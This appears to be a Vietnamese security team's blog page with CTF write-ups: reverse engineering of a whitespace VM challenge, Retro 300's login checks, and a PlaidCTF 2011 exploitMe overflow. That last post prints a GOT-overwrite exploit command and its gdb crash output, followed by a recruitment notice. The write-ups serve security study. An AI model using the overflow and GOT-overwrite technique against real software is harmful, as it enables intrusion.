Nếu có sẽ dùng 1 con trỏ tạm thời tăng dần lên, khi gặp một kí tự nào đó không phải space và tab thì quay lại vòng lặp bên trên để đi đến dòng tiếp theo.
Nếu đến cuối dòng mà không gặp kí tự nào khác thì sẽ kiểm tra xem kí tự đầu tiên có phải là ” ” hay không. Nếu đúng thì sẽ chuyển qua gọi 2 function là sub_80487B0 và sub_8048A20. Cụ thể 2 hàm này làm gì sẽ nói rõ ở phía sau.
Nếu như kí tự đầu tiên là “\t” ( tưc là khác Space ) thì chưowng trình sẽ nhảy lại lên trên để tính toán số lượng kí tự space hoặc tab và đưa vào địa chỉ dword_80E49AC.
Tổng kết lại có thể thấy cú pháp chương trình sẽ bao gồm các kí tự Space và Tab kết thúc là “\n”.
Ở Function: sub_8048A20

nt __cdecl sub_8048A20(int AddressOfArg, int numberArg)
{
  int v2; // ebx@1
  void *v3; // eax@2
  int result; // eax@2
  int v5; // edx@2

  v2 = dword_80E49A8;
  if ( !(dword_80E49A8 & 0x3FF) )
  {
    dword_80E4FC4 = (void *)realloc(dword_80E4FC4, 12 * dword_80E49A8 + 0x3000);
    if ( !dword_80E4FC4 )
    {
      fwrite("Out of memory!\n", 1u, 0xFu, off_80D3368);
      exit(0);
    }
    v2 = dword_80E49A8;
  }
  v3 = dword_80E4FC4;
  *((_DWORD *)dword_80E4FC4 + 3 * v2) = AddressOfArg;
  v5 = dword_80E49AC;
  *((_DWORD *)v3 + 3 * v2 + 2) = numberArg;
  *((_DWORD *)v3 + 3 * v2 + 1) = v5;
  result = v2 + 1;
  dword_80E49A8 = v2 + 1;
  return result;
}

Trong quá trình debug mình tìm ra thông số đưa vào của function này chính là địa chỉ cùa buff và số lượng các kí tự Space/Tab của dòng đó. Cho nên sau khi function sub_8048AE0 kết thúc sẽ có một vài điểm cần lưu ý:
Với file input là:
shell python -c ‘print “\x09″*6+”\x20″+”\x09″+”\x20″*7+”\x20″+”\x09″*7+”\x20″+”\x09″*7+”\x0a”‘ > a

Tại lúc bắt đầu :0x8048de0: push ebp

Các giá trị như sau:
gdb$ x/4wx 0x080e49a4
0x80e49a4: 0x28107070 0x00000000 0x2810708f 0x00000000
gdb$ x/4wx 0x28107070
0x28107070: 0x09090909 0x20092009 0x20202020 0x09202020
gdb$ x/4wx 0x80E4FCC
0x80e4fcc: 0x28107070 0x00000000 0x00000000 0x00000000
gdb$ x/4wx 0x080e49ac
0x80e49ac: 0x2810708f 0x00000000 0x00000000 0x00000000

Cuối cùng là function để đọc và thực thi code VM:

void __cdecl sub_8048DE0()


 buff[0] = dword_80E49A4;
  buff[6] = dword_80E49A4 + 6;
  if ( dword_80E49A4 + 6 > (unsigned int)dword_80E49AC )
  {
LABEL_80:
    fwrite("Illegal instruction.\n", 1u, 0x15u, off_80D3368);
    exit(0);
  }
  buff[1] = *(_BYTE *)dword_80E49A4++;
  v3 = -((buff[1] & 0x76u) < 1);
  v4 = *(_BYTE *)(buff[0] + 1);
  dword_80E49A4 = buff[0] + 2;
  v5 = (v4 & 0x76u) >= 1 ? 16 : 0;
  v6 = (*(_BYTE *)(buff[0] + 2) & 0x76u) >= 1 ? 8 : 0;
  dword_80E49A4 = buff[0] + 3;
  v7 = v6;
  buff[3] = *(_BYTE *)(buff[0] + 3);
  dword_80E49A4 = buff[0] + 4;
  v9 = (buff[3] & 0x76u) < 1;
  buff[4] = *(_BYTE *)(buff[0] + 4);
  dword_80E49A4 = buff[0] + 5;
  v11 = v5 | (*(_BYTE *)(buff[0] + 5) & 0x76) != 0 | ~v3 & 32;
  LOBYTE(v11) = v7 | v11;
  dword_80E49A4 = buff[6];
  v2 = ((buff[4] & 0x76u) >= 1 ? 2 : 0) | ~-v9 & 4 | v11;
  if ( (_BYTE)v2 <= 32u )
  {
    switch ( (_BYTE)v2 )
    {
      case 0x1B:
.................

!!!Mình đã lượt bỏ một số đoạn cho ngắn gọn lại

Qua đoạn trên có thể hiểu chương trình đang lấy địa chỉ của buff vào và lấy từng giá trị ra, byte đầu tiên sẽ dùng để kiểm tra dấu ( khi là \x09 thì xor với 0x76 sẽ ra giá trị 0 ), byte thứ 1 sẽ AND với 32, thứ 2 với 16, thứ 3 với 8, thứ 4 với 4, thứ 5 với 2 và thứ 6 với 1. Lấy giá trị này làm v2 và dùng làm OpCode cho VM.

Tổng kết lại chương trình sẽ nhận Space và Tab là giá trị 0 và 1, lấy 7byte đầu tiên để làm Opcode, 32Byte tiếp theo cho Arg1 và 32Byte cho Arg2 bởi vì function đưới đây lấy Arg cho mỗi Opcode trừ đi mỗi lần 32Byte.

int __cdecl sub_8048290()
{
  if ( !dword_80E4FC8 )
    exit(0);
  --dword_80E4FC8;
  return LODWORD(flt_80E4BC0[dword_80E4FC8]);
}

Đó là cách rr400 hiện thực. Và bug nằm ở :

case 0x1E:
        v66 = sub_8048DA0();
        if ( (unsigned int)v66 > 0x7F )
          fwrite("Register out of range.\n", 1u, 0x17u, off_80D3368);
        dword_80E49C0[v66] = sub_8048290();
        return;

15/06/2011 Posted by | bug, CTF, exploit | Leave a comment

DC19 Quals Retro 300 small writeup

Sau khi RE xong function quan trọng nhất mình có code như sau:

signed int __cdecl sub_8049D1F(int fd)
{
  int byteRecei; // eax@3
  signed int result; // eax@8
  char s1[256]; // [sp+10h] [bp-198h]@1
  int passCode; // [sp+110h] [bp-98h]@11
  char PassCode2_Recv; // [sp+114h] [bp-94h]@15
  char v6; // [sp+11Eh] [bp-8Ah]@15
  char PassCode_Recv; // [sp+11Fh] [bp-89h]@11
  char v8; // [sp+123h] [bp-85h]@11
  char *UserPinFromDB; // [sp+124h] [bp-84h]@11
  char buffRecei[100]; // [sp+128h] [bp-80h]@3
  void *UserName_recv; // [sp+18Ch] [bp-1Ch]@9
  int ByteRecei; // [sp+190h] [bp-18h]@6
  int byteSend; // [sp+194h] [bp-14h]@3
  int v14; // [sp+198h] [bp-10h]@1
  int OptionChoose; // [sp+19Ch] [bp-Ch]@19</pre>
  v14 = recv1(fd, (int)s1, 0x100u, 10);
  if ( v14 <= 0 )
  	exit(0);
  s1[v14] = 0;
  if ( strcmp(s1, s2) )
 	exit(0);
  AntiDebug();
  sendIntro(fd);
  byteSend = send1(fd, "Username:", 0);
  byteRecei = recv1(fd, (int)buffRecei, 0x63u, 10);
  ByteRecei = byteRecei;
  if ( byteRecei > 0 && ByteRecei <= 99 )  {
 	buffRecei[ByteRecei] = 0;
 	UserName_recv = strdup(buffRecei);
 	byteSend = send1(fd, "Passcode:", 0);
 	ByteRecvi = recv1(fd, (int)buffRecei, 0x63u, 10);
 	if ( ByteRecei == 14 ){
 		buffRecei[14] = 0;
 		strncpy(&PassCode_Recv, buffRecei, 4u);
 		v8 = 0;
 		if ( GetUserPinFromDB((int)UserName_recv, (int)&UserPinFromDB, 	(int)&passCode) >= 0 ) {
 			if ( strncmp(&PassCode_Recv, UserPinFromDB, 4u) ){
 					send1(fd, "Bad Username or Pin\n", 0);
 					free(UserName_recv);
 					free(UserPinFromDB);
 					result = 1;
 				}
 			else{
 				strncpy(&PassCode2_Recv, &buffRecei[4], 0xAu);
 				v6 = 0;
 				printf("sending %s out of buf: %s\n", &PassCode2_Recv, buffRecei);
 				if ( CheckingPassCode2(passCode, &PassCode2_Recv) >= 0 ){
 				do{
 					Send2(fd);
 					ByteRecei = recv1(fd, (int)buffRecei, 0x63u, 10);
 					buffRecei[ByteRecei] = 0;
 					if ( ByteRecei == 1 ){
 								OptionChoose = atoi(buffRecei);
 								if ( (unsigned int)OptionChoose <= 9 )
 			JUMPOUT(__CS__, (unsigned int)FuncTable[OptionChoose]);
 			send1(fd, "please select from the options presented", 0); 						}
 			else{
 				send1(fd, "please select from the options presented", 0);
 		}
 	}
 	while ( OptionChoose != 5 );
 		free(UserName_recv);
 		free(UserPinFromDB);
 		result = 0;}
 	else{
 		send1(fd, "Bad Username or Passcode\n", 0);
 		free(UserName_recv);
 		free(UserPinFromDB);
 		result = 1;
 			}
 		}
 	}

else{
 	send1(fd, "Bad Username or Pin\n", 0);
 	free(UserName_recv);
 	result = 1;}
 	}
 else{
 	send1(fd, "Bad Username or Pin\n", 0);
 	free(UserName_recv);
 	result = 1;
 	}
 }
 else {
	 printf("name overflow attemp: %d vs %d \n", ByteRecei, 100);
 	result = 1;
 }
 return result;
}

Ở dòng 43 có 1 phép kiểm tra PassCode được đưa vào so vơí passCode lấy ra từ DB

if ( strncmp(&PassCode_Recv, UserPinFromDB, 4u) )

Lưu ý là passCode chia làm 2 phần, phần đầu là Pin gồm 4char và phần còn lại là 10 char PassCode. Trong đó Pin và PassCode sẽ dc lấy ở :

if ( GetUserPinFromDB((int)UserName_recv, (int)&UserPinFromDB, (int)&passCode) >= 0 )

Nếu Pin đưa vào trùng vơí Pin trong DB chương trình sẽ kiểm tra tơí PassCode:

CheckingPassCode2(passCode, &PassCode2_Recv) >= 0 )

Nếu đúng sẽ tùy vào OptionChoose mà gọi vào các function sau:

.rodata:0804A918 FuncTable dd offset NotImpl ; DATA XREF: sub_8049D1F+387 o
.rodata:0804A91C dd offset NotImpl_
.rodata:0804A920 dd offset NotImpl3___
.rodata:0804A924 dd offset NotImpl4
.rodata:0804A928 dd offset NotImpl5
.rodata:0804A92C dd offset NotImpl6
.rodata:0804A930 dd offset NotImpl
.rodata:0804A934 dd offset NotImpl
.rodata:0804A938 dd offset GetKey1
.rodata:0804A93C dd offset send3_
.rodata:0804A93C _rodata ends

GetKey1 chính là function đọc /home/retro300/key và output ra socket. Do vâỵ mục tiêu cuôi cùng chính là pass qua các phép kiểm tra.
Patch chương trình ở AntiDebug();
và dùng gdb để lâý ra các giá trị cần thiết bằng cách breakPoint tại các chỗ so sánh.
Đó là tất cả về rr300!

11/06/2011 Posted by | bug, CTF, exploit | Leave a comment

plaidCtf 2011 – exploitMe writeup

Các bạn có thể download Binary của challenges này ở :
http://repo.shell-storm.org/CTF/PlaidCTF-2011/23-Exploit_Me/exploitMe

Thử chạy chương trình lên chúng ta nhận được:

./exploitMe
Regards, Dolan :}

Sau khi sử dụng decompile ra source C và tìm chuỗi “Regards, Dolan” ta sẽ tới được:
>

int __cdecl sub_8048504(signed int argc, char* argv[])
{

if ( argc <= 3 ) {
puts("Regards, Dolan :} ");
exit(-1); }
sub_8048575(argv[1], strtoll(argv[2]), atoi(argv[3])); return 0;
}

Như vậy chương trình sẽ cần 3 biến đưa vào (1) và gọi hàm sub_8048575 ở (2)Tiếp tục phân tích sub_8048575

void __cdecl sub_8048575(const char *str, int a2, size_t len)
{
size_t t; // [sp+50h][bp-1Ch]
char buff[64]; [1] // [sp+10h] [bp-5Ch]

if ( len <= 71 ) [2]
{
t = len;
strncpy(buff, str, len); [3]
if ( t )
*t = a2; [4]
exit(0);
}
}

Chúng ta sẽ chú ý đến những điểm sau:

->Độ rộng của buffer là 64 bytes (1) tuy nhiên chương trình sẽ kiểm tra len <= 71 (2) và sử dụng len này để copy chuỗi str vào buff ở (3).
-> Ở (4) sẽ có phép gán *t = a2
-> Stack của chương trình sẽ có dạng:
[Save EIP][Save EBP]<— 0x1c bytes—>[t][buff]
Do vậy có thể xác định rằng khi đưa vào chương trình len = 68 nó sẽ copy 68 bytes từ chuỗi str vào buff, 4 bytes cuối cùng chuỗi str sẽ đè lên t và khiến cho phép gán ở (3) nằm dưới quyền điều khiến của chúng ta. ( Chúng ta có thể viết 4 bytes bất cứ đâu).
Để kiểm chứng lại chúng ta thử ghi vào một nơi nào đó! Bởi vì ngay sau phép gán chương trình sẽ gọi exit vì vậy ta sẽ thử bằng các ghi vào GOT của hàm exit.

[26]# objdump -d -j .plt ./exploitMe | grep exit -A4
08048434 :
8048434: ff 25 f4 97 04 08 jmp *0x80497f4
804843a: 68 40 00 00 00 push $0x40
804843f: e9 60 ff ff ff jmp 80483a4 <__gmon_start__@plt-0x10>

./exploitMe `python -c ‘print “A”*64+”\xf4\x97\x04\x08″‘` 1094795585 68
Segmentation fault (core dumped)
05:49 [root@debvbox]
(~)

[32]# gdb -core=core ./exploitMe
GNU gdb (GDB) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type “show copying”
and “show warranty” for details.
This GDB was configured as “i686-pc-linux-gnu”.
For bug reporting instructions, please see:

Reading symbols from /root/exploitMe…(no debugging symbols found)…done.
[New Thread 3211]

warning: Can’t read pathname for load map: Input/output error.
Reading symbols from /lib/i686/cmov/libc.so.6…(no debugging symbols found)…done.
Loaded symbols for /lib/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2…(no debugging symbols found)…done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./exploitMe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAô’.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()

Giá trị ở 1094795585 sau khi convert thông qua strtoll sẽ thành 0x41414141
Việc cuối cùng là chọn địa chỉ để return vào, có 2 cách để thực hiện:
i – Bruteforce return vào stack vì lúc này nx không được bật.
ii- Bruteforce giá trị system call execve+2 ( ở cách này ta sẽ return vào execve+2 bởi vì chương trình gọi exit(0) )

26/04/2011 Posted by | bug, CTF, exploit | 2 Comments

Thông báo tuyển thành viên .

Chào các bạn bkiter đam mê Hacking . Lâu nay, có thể các bạn đã nghe đến BkitSec ( a.k.a BkitNS ), một nhóm nghiên cứu về Hacking, bảo mật của sinh viên BK . Nhưng rỏ ràng, từ nhiều nguồn thông tin, các bạn không có cơ hội để cùng tham gia hoạt động và nghiên cứu chung với nhóm. Vậy bây giờ là cơ hội cho các bạn.

Đợt tuyển thành viên này sẽ kéo dài đến hết tuần sau (19/03/2011) . Điều kiện để tham gia như sau :

          Có niềm đam mê trong lĩnh vực Hacking/Security.
          Có kiến thức cơ bản về khoa học máy tính/kỹ thuật máy tính.
          Vượt qua vòng kiểm tra kiến thức và kỹ năng . Đề bài xin các bạn xem link bên dưới .
          Funny !!!

Tất cả chỉ như vậy. Các bạn vui muốn tham gia vui lòng gửi mail về bkitsec@gmail.com với nội dung như sau :

Họ tên :
MSSV :
Số điện thoại :
Giới thiệu sơ qua về bạn, và nói một ít về một lĩnh vực mà bạn yêu thích .
Và đừng quên đính kèm câu trả lời chi tiết cho các câu hỏi .

Nếu có bất cứ thắc mắc gì, các bạn có thể gửi email về bkitsec@gmail.com , các bạn sẽ nhận được câu trả lời chi tiết nhất 😉 .
Sau khi tuyển thành viên xong, chúng ta sẽ có một buổi gặp gỡ thân mật. Đến lúc đó các bạn sẽ nhận được plan chính thức và những hoạt động chúng ta sẽ phải tiến hành .

Chúc các bạn thành công !

Link câu hỏi : http://bit.ly/gKy18L

08/03/2011 Posted by | off topic | Leave a comment